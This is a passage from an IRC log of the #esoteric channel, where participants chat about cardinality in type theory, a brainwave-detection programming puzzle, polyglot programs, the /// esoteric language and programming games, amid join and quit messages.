that actually got sent. < 1269827372 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You have a strange definition of cardinality. < 1269827375 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :The computer doesn't have any brainwave activity < 1269827384 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so it just needs to print No brainwave activity detected. Aborting.? < 1269827396 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :print "No brainwave activity detected. Aborting." ? < 1269827406 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :zzo your puzzles are WAY too hard for me :D < 1269827409 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :That works, but see if there are other ways... < 1269827415 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Howso? < 1269827425 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :In dependent type theory, there are only finite cardinalities and Aleph_0. < 1269827428 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :There is nothing bigger than the rationals. < 1269827445 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess that sounds consistent enough. < 1269827450 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Well, you can't actually prove any properties about the cardinality of functions (but postulating a bijection (A -> B) -><- nat is consistent) < 1269827465 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Error: empty file < 1269827466 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1269827468 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, why not. < 1269827470 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: it's because the set of algorithms is countably infinite - and we do computable reals < 1269827472 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :which are just functions < 1269827507 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Have it print characters for 1+1=, and if it magically inputs 2, there's brainwave activity? < 1269827516 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :even (list T) is Aleph_0 -- T must be Aleph_0 or less, so it has a bijection to-fro naturals. Transform to naturals. < 1269827527 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :1 = unary natural digit; 0 = list separator. < 1269827552 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I just realized that my last message could also be interpreted as "Well, why not?" < 1269827589 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I meant "Well, upon taking that into account, I see no reason not to have only one infinite cardinality". < 1269827604 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :so TONAT[[1,2],[3,4]] = TONAT[TONAT[1,2], TONAT[3,4]] = TONAT[1011, 11101111] = 11111111111011111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111 < 1269827627 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Which is, admittedly, not the shortest representation. < 1269827631 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It would make Godel proud. < 1269827640 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :1+1=2 is not brainwave activity, as far as I know. Try again. < 1269827672 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :do brainwave exist? < 1269827681 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: Fin, of course, is the type of infinite types; Fin n is the type with n elements. < 1269827688 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269827689 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :of finite types < 1269827712 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Searches for a file known.. wait, the program itself is what takes in a BF program? < 1269827728 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :fax: Yes, brainwave exist and I can measure it. But the computer doesn't have any, it isn't hook to hardware to process brainwaves nor software to generate brainwaves. < 1269827743 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, I'm going now until Friday again. Anyone want to lavish praise on my cardinalities? < 1269827768 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: You can try that if you want < 1269827772 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :#include < 1269827772 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int main(void){puts("No brainwave activity detected. Aborting.");return 0;} < 1269827776 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this got accepted o < 1269827805 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :main(){puts("No brainwave activity detected. Aborting.");} < 1269827808 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it definitely works, but it is long. < 1269827811 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :If the BF program is optimized in superficial ways, it wasn't optimized by a computer, therefore a human made it < 1269827812 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :So, nobody has anything to say? < 1269827824 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: It's tradition for you to say goodbye, asshole! < 1269827835 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, alise. Hope things improve < 1269827838 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Yay! < 1269827841 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :we are meant to use this brainfuck string as input to make the program print this output < 1269827841 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Goodbye, folks. < 1269827845 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1269827848 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Seeya 'round n round n round n stack overflow < 1269827851 0 :alise_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269827875 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :fax: Try that if you want... < 1269827889 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I have fooled alise_, for I am not Sgeo_, but Sgeo! < 1269827893 0 :Sgeo_!unknown@unknown.invalid NICK :sGEO < 1269827895 0 :sGEO!unknown@unknown.invalid NICK :Sgeo < 1269827901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is in a silly mood
< 1269827988 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :zzo I am so confused :P < 1269828067 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe pseudo-interpret the BF < 1269828099 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :13 chars of Bash < 1269828134 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Clearly, the string isn't embedded in zzo's Bash solution < 1269829019 0 :zzo38!unknown@unknown.invalid PRIVMSG #esoteric :What does it mean to "pseudo-interpret the BF" in your opinion? < 1269829256 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269829287 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1269829350 0 :rosyd1279!~Paolo@109.53.64.117 JOIN :#esoteric < 1269829402 0 :rosyd1279!unknown@unknown.invalid PART #esoteric :? < 1269829569 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269829906 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I thought if there were no loops, just a BF interpreter that doesn't read loops. But there are loops < 1269830681 0 :zzo38!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269831690 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :what's wrong with wireless mice? < 1269831719 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :in my experience wireless mouse >>>>>>>>>>>>>>>>>>>>>>>>>> mouse with cord < 1269831746 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1269831758 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :good night ~> < 1269831817 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :how do I write programs in several languages? < 1269833632 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If several = 0, then stop. Otherwise, write a program in one language, then write programs in (several - 1) languages. < 1269833671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Or do you mean a single program that is valid in several languages? < 1269833721 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, 君は utilisar multaj итак. < 1269833983 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I like this polyglot with its contrived comment markers: http://ideology.com.au/polyglot/polyglot.txt < 1269834021 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :CuG #%* The comment goes here, and, I imagine, must always be of exactly a certain length. *+Ex= < 1269834053 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess there are also block comment markers around the whole thing. < 1269834071 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why are the blank spaces at the beginning important? < 1269834158 0 :Oranjer!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269834181 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I THINK THAT POLYGLOT IS UTTER_XYZZXX! < 1269834204 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Probably the postscript. < 1269834207 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't even get it < 1269834224 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :why does the C compiler accept (*0); < 1269834247 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Because that's a valid expression, I guess. < 1269834263 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :0 is the null pointer, right? < 1269834263 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not a global scope < 1269834271 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*at < 1269834283 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It, uh, dereferences the null pointer? < 1269834289 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe it's O? < 1269834296 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's O. < 1269834298 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh yeah, it is < 1269834303 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so it's a declaration of a pointer to int < 1269834324 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Bah, that's no 0. < 1269834336 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1269834342 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :that's a star-identifier < 1269834351 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I still don't get (*O < 1269834360 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: there < 1269834364 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*there's a ); after the comment < 1269834370 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :in C, this is a declaration of a pointer to int named O < 1269834392 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the "that's a star-identifier" comment was my witty response to pikhq's "that's no 0" < 1269834409 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION mindboggles
< 1269834424 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :pikhq didn't say that. < 1269834440 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, yeah, that was uorygl < 1269834448 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :COBOL accepts CuG #% as a line number? < 1269834469 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I don't know and I don't want to < 1269834500 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tortures coppro with an identification division.
< 1269834530 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :http://ideology.com.au/polyglot/x86/ Ah. < 1269834554 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, that's cool < 1269834585 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The whitespace is needed for the x86 *machine code*. < 1269834600 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Assembly? Doesn't look like assembly. < 1269834617 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How does the C get away with not having an ending.. oh, I missed it < 1269834659 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :WTF does CuG mean to a shell script? < 1269834683 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Presumably, it means you run CuG. < 1269834696 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Now write a polyglot quine in /// and BF. < 1269834714 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It looks like a bunch of commands that get the stderr shoved into _$$. < 1269834719 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :http://ideology.com.au/polyglot/shell/ < 1269834722 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, really. < 1269834734 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION sees it
< 1269834735 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess that's pretty easy. Write a quine in BF; it will also be a quine in ///. < 1269834762 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what languages an empty source file ISN'T a quine in
< 1269834763 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Now write a non-trivial polyglot quine in /// and BF. < 1269834779 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :COBOL probably, and Homespring < 1269834807 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There are lots of languages where a program is not simply a series of statements. < 1269834831 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads the Homespring standard
< 1269834862 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION attempts to get the standard to load
< 1269835057 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I must admit, I'm rather proud of ///. It's really simple, it's Turing-complete in a totally non-obvious way, and all data is essentially stored within the program's source code. < 1269835090 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Link? < 1269835099 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Searching on the esolang wiki for three slashes is a pain < 1269835114 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The page is called Slashes. < 1269835229 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"This allows you to avoid worrying about program style and focus on what programming is really about, the reproductive behavior of salmon." < 1269835239 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(not Slashes) < 1269835354 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A random sentence from the Homespring spec: "However, it does not proscribe the same behaviour as the official interpreter in every case." < 1269835384 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :This makes me want to write a language called Proscription, where every program's behavior is completely undefined, except that one particular behavior is proscribed. < 1269835407 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"This program does anything but output Hello, world!" < 1269835407 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, are there nicer ways to write 99.. no, of course there aren't < 1269835416 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In which language? < 1269835426 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :/// < 1269835490 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Write a version that takes advantage of all redundancy. < 1269835498 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Let me think... < 1269835537 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"X bottles of beer on the wall / X bottles of beer / Take one down, pass it around / X bottles of beer on the wall /// X bottles of beer on the wall ..." < 1269835590 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So the fundamental strings there are "bottles of beer", "on the wall", and "Take one down, pass it around"; you can probably find some more redundancy in the line breaks. < 1269835603 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Of course, "bottles of beer" sometimes becomes "bottle of beer". < 1269835627 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION meant in particular with the digits
< 1269835631 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Then find a way to programmatically decrement a natural number. < 1269835659 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Pretend you're writing in Thue. Then find the best way to translate your Thue to ///. < 1269835669 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Which is really difficult, of course. < 1269836203 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how one might turn /// into a language capable of arbitrary I/O behavior. < 1269836236 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Monads! < 1269836237 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : < 1269836331 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Let's say that | is an input token and running it causes a character of input to be stuck at the end of the program, followed by | < 1269836385 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :s/character/byte/; we don't want to require ultra-longnesses in order to be able to recognize every possible character. < 1269836419 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :let's not < 1269836429 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why the extra |? < 1269836484 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If we didn't somehow mark the input, then it might be the case that there are always two pieces of input that do the same thing. < 1269836498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how you'd write a BF interpreter (minus , and .) in vanilla ///
< 1269836545 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :After all, if you're replacing one string wholesale with another, the two strings behave the same way. < 1269836908 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is confused
< 1269837988 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If your program contains /foo/bar/, how is it supposed to distinguish between foo and bar? < 1269838526 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1269839964 0 :augur!~augur@ip70-188-182-24.ri.ri.cox.net JOIN :#esoteric < 1269840271 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269840693 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269841187 0 :augur!~augur@ip70-188-182-24.ri.ri.cox.net JOIN :#esoteric < 1269842759 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wants a good programming game to play
< 1269842877 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you usually have these sorts of links < 1269842889 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, hi < 1269842901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Besides RoboZZle? < 1269842903 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1269842910 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :played that too much < 1269842928 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://tvtropes.org/pmwiki/pmwiki.php/Main/ProgrammingGame is where I found RoboZZle from < 1269842933 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I know < 1269842944 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Other than that, I'm not sure < 1269842962 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Scripting in Second Life entertains me sometimes < 1269843138 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.introversion.co.uk/darwinia/ I'm not sure if it's a programming game, I haven't tried it myself < 1269843149 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That company does make a Hollywood-style hacking game though, so :/ < 1269843423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes coppro
< 1269843454 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :looks unexciting < 1269843535 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I remember seeing one about controlling.. a rover in 3d, I think? Can't seem to find it < 1269843697 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :kiki the nano-bot? < 1269843705 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not really a programming game < 1269843731 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I guess I could just play DROD < 1269843763 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There's that defunct LEGO game. < 1269843769 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Unfortunately, that defunct LEGO game is defunct. < 1269843788 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :"Firefox 3.0? Your browser is obsolete! Please upgrade to Netscape Navigator 4.0!" < 1269843893 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269843958 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://nerogame.org/ < 1269843965 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Don't know how much programming's actually involved < 1269843990 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :More training neural nets I think < 1269844018 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.ceebot.com/colobot/index-e.php This is what I was thinking of < 1269844203 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269844259 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :yw < 1269844476 0 :coppro!unknown@unknown.invalid NICK :Helium_Dragon < 1269844499 0 :Helium_Dragon!unknown@unknown.invalid NICK :Copernicium_Drag < 1269844559 0 :Copernicium_Drag!unknown@unknown.invalid NICK :Carbon_Dragon < 1269844798 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269844853 0 :MaXo2!unknown@unknown.invalid QUIT :Quit: anéfé < 1269844871 0 :Carbon_Dragon!unknown@unknown.invalid NICK :coppro < 1269845427 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269846783 0 :yiyus!unknown@unknown.invalid QUIT :*.net *.split < 1269846783 0 :Gracenotes!unknown@unknown.invalid QUIT :*.net *.split < 1269846785 0 :oklofok!unknown@unknown.invalid QUIT :*.net *.split < 1269846785 0 :pikhq!unknown@unknown.invalid QUIT :*.net *.split < 1269846786 0 :sshc!unknown@unknown.invalid QUIT :*.net *.split < 1269846787 0 :Gregor!unknown@unknown.invalid QUIT :*.net *.split < 1269846787 0 :olsner!unknown@unknown.invalid QUIT :*.net *.split < 1269846787 0 :augur!unknown@unknown.invalid QUIT :*.net *.split < 1269846787 0 :jcp!unknown@unknown.invalid QUIT :*.net *.split < 1269846787 0 :pineapple!unknown@unknown.invalid QUIT :*.net *.split < 1269846788 0 :cheater3!unknown@unknown.invalid QUIT :*.net *.split < 1269846789 0 :Leonidas!unknown@unknown.invalid QUIT :*.net *.split < 1269846789 0 :mycroftiv!unknown@unknown.invalid QUIT :*.net *.split < 1269846790 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1269846790 0 :werdan7_!unknown@unknown.invalid QUIT :*.net *.split < 1269846791 0 :Quadrescence!unknown@unknown.invalid QUIT :*.net *.split < 1269846791 0 :jix!unknown@unknown.invalid QUIT :*.net *.split < 1269846791 0 :rodgort!unknown@unknown.invalid QUIT :*.net *.split < 1269846791 0 :chickenzilla!unknown@unknown.invalid QUIT :*.net *.split < 1269846792 0 :mtve!unknown@unknown.invalid QUIT :*.net *.split < 1269846792 0 :lifthrasiir!unknown@unknown.invalid QUIT :*.net *.split < 1269846792 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1269846792 0 :SimonRC!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :Deewiant!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :EgoBot!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :HackEgo!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :FireFly!unknown@unknown.invalid QUIT :*.net *.split < 1269846793 0 :tombom!unknown@unknown.invalid QUIT :*.net *.split < 1269846794 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1269846794 0 :wareya!unknown@unknown.invalid QUIT :*.net *.split < 1269846795 0 :bsmntbombdood!unknown@unknown.invalid QUIT :*.net *.split < 1269846795 0 :comex!unknown@unknown.invalid QUIT :*.net *.split < 1269846795 0 :Ilari!unknown@unknown.invalid QUIT :*.net *.split < 1269847832 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269847832 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269847832 0 :augur!~augur@ip70-188-182-24.ri.ri.cox.net JOIN :#esoteric < 1269847832 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269847832 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269847832 0 :cheater3!~cheater@ip-80-226-15-2.vodafone-net.de JOIN :#esoteric < 1269847832 0 :oklofok!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1269847832 0 :pineapple!~pineapple@cpc3-aztw11-0-0-cust24.aztw.cable.virginmedia.com JOIN :#esoteric < 1269847832 0 :yiyus!1242712427@je.je.je JOIN :#esoteric < 1269847832 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1269847832 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1269847832 0 :sebbu!~sebbu@ADijon-152-1-30-184.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269847832 0 :mtve!~mtve@65.98.99.53 JOIN :#esoteric < 1269847832 0 :werdan7_!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1269847832 0 :lifthrasiir!M58WNbag@haje12.kaist.ac.kr JOIN :#esoteric < 1269847832 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1269847832 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1269847832 0 :SimonRC!~sc@fof.durge.org JOIN :#esoteric < 1269847832 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269847832 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1269847832 0 :mycroftiv!~ircguy@h69-128-47-242.mdsnwi.dedicated.static.tds.net JOIN :#esoteric < 1269847832 0 :Quadrescence!~quad@unaffiliated/quadrescence JOIN :#esoteric < 1269847832 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269847832 0 :wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1269847832 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1269847832 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1269847832 0 :jix!~jix@cyb0rg.org JOIN :#esoteric < 1269847832 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1269847832 0 :chickenzilla!~chicken@olol.eu JOIN :#esoteric < 1269847832 0 :olsner!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1269847832 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1269847832 0 :bsmntbombdood!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1269847832 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1269847832 0 :Ilari!~user@2002:5870:32ae::1 JOIN :#esoteric < 1269849158 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1269849599 0 :clog!unknown@unknown.invalid QUIT :ended < 1269849600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1269849625 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1269849806 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269852002 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Darwinia isn't a programming game < 1269854635 0 :AnMaster!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269854661 0 :Ilari!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1269854670 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269854676 0 :Ilari!~user@2002:5870:32ae::1 JOIN :#esoteric < 1269856777 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1269857109 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269857820 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : I wonder how one might turn /// into a language capable of arbitrary I/O behavior. < 1269857852 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um, Itflabijtslwi is linked right there on the Slashes page... < 1269857913 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(sp) < 1269858141 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : Let's say that | is an input token and running it causes a character of input to be stuck at the end of the program, followed by | < 1269858193 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think this will be harder to use, you would essentially _have_ to match all character possibilities to do anything with it < 1269858250 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because you cannot substitute on just | without ruining all future iterations < 1269858308 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :btw yes, /// is great :) < 1269861600 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1269862000 0 :cheater3!unknown@unknown.invalid NICK :cheater < 1269867490 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269868267 0 :cheater2!~cheater@ip-80-226-13-73.vodafone-net.de JOIN :#esoteric < 1269868381 0 :cheater!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269872952 0 :MigoMipo!~migomipo@84-217-2-7.tn.glocalnet.net JOIN :#esoteric < 1269873497 0 